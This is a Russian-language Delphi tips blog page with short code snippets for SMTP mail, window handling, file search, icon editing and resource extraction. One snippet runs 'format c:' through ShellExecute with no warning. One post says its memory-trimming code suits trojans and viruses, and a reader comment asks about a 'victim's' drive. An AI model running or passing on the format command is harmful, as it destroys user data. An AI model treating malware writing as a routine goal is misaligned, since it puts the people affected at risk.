Меню сайта
Категории раздела
Тобольск [0]
ТГСПА [0]
Delphi [40]
Basic [0]
Разное [4]
Радио
ЧАТ
200
Облако тегов
Облако фото
Форум
  • композитная арматура (0)
  • Справедливо ли это???? (1)
  • Недвижимость в Тюмени (1)
  • Качество услуг и обслуживания (2)
  • строительный эксперт (0)
  • гид по Греции (0)
  • винные туры по Италии (0)
  • деревянные лестницы (0)
  • гид по Италии (0)
  • Разные поздравления (1)
  • //uses ...IdAttachmentFile; {indy 10.5.5; 10.5.7}
    ....
    var
    attach: TidAttachment; {indy 9.00.10}
    // attach: TIdAttachmentFile; {indy 10.5.5; 10.5.7}
    msg: tidmessage;

    begin
    // idSMTP1.AuthType:=satDefault; {indy 10.5.5; 10.5.7} // тпип авторизации

    idSMTP1.AuthenticationType:=atLogin; {indy 9.00.10} // тпип авторизации
    idSMTP1.Username:='xxxx'; // логин отправителя
    idSMTP1.Password:='****'; // пароль отправителя
    idSMTP1.Host:='smtp.mail.ru'; // хост mail.ru

     IdSMTP1.Port:=25; // порт mail.ru

    msg:=TIdMessage.Create(nil);

    msg .CharSet := 'UTF-8';
    msg .ContentTransferEncoding := '8bit';
    msg.ContentType:='text/plain';  // эту строчку добовлять в зависимости от того как будет работать сама программа

    msg.Body.Text := Memo1.Text;

    msg.Body.Add('Test'); // текст письма
    msg.Subject:='Test mail'; // Тема
    msg.From.Address:='xxxx@mail.ru'; // от кого отправляем письмо
    msg.From.Name:= ... Читать дальше »
    Категория: Delphi | Просмотров: 1025 | Добавил: SeM | Дата: 02.05.2011 | Комментарии (0)

    А как же изменить расстояние на которое нужно подвести форму, чтобы она прилипла? Есть свойство SnapBuffer. По умолчанию оно равно 10.

    Пример использования:
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Form1.ScreenSnap:=true;
    Form1.SnapBuffer:=15;
    end;

    Категория: Delphi | Просмотров: 551 | Добавил: SeM | Дата: 24.04.2011 | Комментарии (0)

    вот правильно подгружать файл в делфи 2010 


    BASS_StreamCreateFile(FALSE, PChar(opendialog1.filename), 0, 0, BASS_UNICODE);

    Категория: Delphi | Просмотров: 563 | Добавил: SeM | Дата: 21.04.2011 | Комментарии (0)

    procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
    ...
    procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);
    begin
    if Msg.CmdType = SC_MINIMIZE then
    hide;
    else
    inherited;

    end;


    или


    procedure TForm4.WMSysCommand(var Msg: TWMSysCommand);
    begin
    if Msg.wParam = SC_MINIMIZE then
    begin
    hide;
    end;
    inherited;
    end;



    SC_CLOSE,SC_MINIMIZE

    Категория: Delphi | Просмотров: 463 | Добавил: SeM | Дата: 14.04.2011 | Комментарии (0)

    uses ShellAPI;

    ...

    ShellExecute (Handle, nil, 'format c: /fs:[тут файловая система ntfs или, fat32(без скобок)]', nil, nil, SW_RESTORE);
    Категория: Delphi | Просмотров: 452 | Добавил: SeM | Дата: 10.04.2011 | Комментарии (0)

    Пример, который я сейчас хочу вам показать, применим только для программ работающих в фоновом режиме (для других в этом просто нет смысла). Т.е программ, которые постоянно сидят в памяти и не мозоля глаза пользователю занимаются своими делами. Данный delphi исходник подойдет при создания троянов, вирусов, планировщика задач и.т.д. Для таких приложений крайне важным является объем потребляемой памяти, и разработчик должен свести его к минимуму.
    Переходим к коду:

    Создаем простенькую процедуру после вызова которой наша Delphi программа освободит всю ненужную ей память.

    uses Windows, SysUtils;

    procedure TrimWorkingSet;
    var
    MainHandle: THandle;
    begin
    if Win32Platform = VER_PLATFORM_WIN32_NT then
    begin
    MainHandle := OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessID);
    SetProcessWorkingSetSize(MainHandle, DWORD(-1), DWORD(-1));
    CloseHandle(MainHandle);
    end;
    end;



    Пользуйтесь на здоровье !
    Категория: Delphi | Просмотров: 590 | Добавил: SeM | Дата: 09.04.2011 | Комментарии (0)

    Procedure FindRecursive(Const path: String; Const mask: String);
    Var
    fullpath: String;

    Function Recurse( Var path: String; Const mask: String ): Boolean;
    Var
    SRec: TSearchRec;
    retval: Integer;
    oldlen: Integer;
    Begin
    Recurse := True;
    oldlen := Length(path);
    retval := FindFirst(path+mask, faAnyFile, SRec);
    While retval = 0 Do Begin
    Application.ProcessMessages;
    If (SRec.Attr and (faDirectory or faVolumeID)) = 0 Then
    Form1.ListBox1.items.Add(path+srec.name);
    Form1.Caption:='Found '+IntToStr(Form1.ListBox1.items.Count)+' files...';

    retval := FindNext(SRec);
    End;
    FindClose(SRec);

    If not Result Then Exit;

    retval := FindFirst( path+'*.*', faDirectory, SRec);
    While retval = 0 Do Begin
    If (SRec.Attr and faDirectory) <> 0 Then
    If (SRec.Name <> '.') and (SRec.Name <> '..') Then Begin
    path := path + SRec.Name + '\';
    If not Recurse( path, mask ) Then Begin
    ... Читать дальше »
    Категория: Delphi | Просмотров: 798 | Добавил: SeM | Дата: 06.04.2011 | Комментарии (0)

    uses

    ..., acWorkRes;


    var q:dword;
    begin
    ...
    q:=BeginUpdateResourceS('C:\exefile.exe', False); //пусть к программе у которой менять иконку
    if q <> 0 then begin
    if not(ReplaceIconGroupResourceS(q, 'MAINICON', 0, 'C:\iconfile.ico')) then begin // Путь к иконке
    EndUpdateResource(q, False);
    exit;
    end;
    MessageBox(0,'Иконка изменена','',MB_ICONINFORMATION);
    EndUpdateResource(q, False);



    модуль закинуть в папку с прогой Скачать



    Категория: Delphi | Просмотров: 547 | Добавил: SeM | Дата: 30.03.2011 | Комментарии (0)

    ShellExecute(Application.Handle,'open',PChar(Memo.Lines.GetText),'',PChar('<каталог>'),0);
    Категория: Delphi | Просмотров: 524 | Добавил: SeM | Дата: 25.03.2011 | Комментарии (0)

    var
    hLib: Handle;
    rsDrivers: TResourceStream;
    begin
    hLib:= LoadLibrary('MyDll.dll');
    rsDrivers:= TResourceStream.Create(hLib, 'testResource', RT_RCData);
    rsDrivers.SaveToFile('C:\Test.txt');
    rsDrivers.Free;
    FreeLibrary(hLib);
    end;

    Категория: Delphi | Просмотров: 540 | Добавил: SeM | Дата: 24.03.2011 | Комментарии (0)

    1 2 3 4 5 »
    Поиск по сайту
    Календарь
    «  Апрель 2024  »
    ПнВтСрЧтПтСбВс
    1234567
    891011121314
    15161718192021
    22232425262728
    2930
    Новый Год
    Опрос
    Изменить дизайн?


    Всего ответов: 16
    Всего голосовало: 16
    Обсудить на форуме
    Друзья сайта
    измерьте скорость интернета Яндекс.Метрика
    Проверить тИЦ и PR
    Статистика
    Погода
    Яндекс.Погода
    Коменнтарии

    Извиняюсь, заработал. Спасибо за урок biggrin

    Компонент не работает

    Давайте помогу разобраться ? вы хотите что бы когда выбиралась станция сразу начинала проигрывать? скиньте исходник или как лучше связаться с вами?

    у меня все работает!

    Нифига не робит...
    Кто знает как сделать чтобы на жесткий жертвы сохранял..
    ISQ 606017777

    FSDGHDFJHRG


    Отзывы Фото
    6 микр. Красивое место....

    Ершов ))))

    Старый музей но щас его перенесли...

    Фотография под горы smile

    Красивое фото!!! smile

    Copyright MyCorp © 2024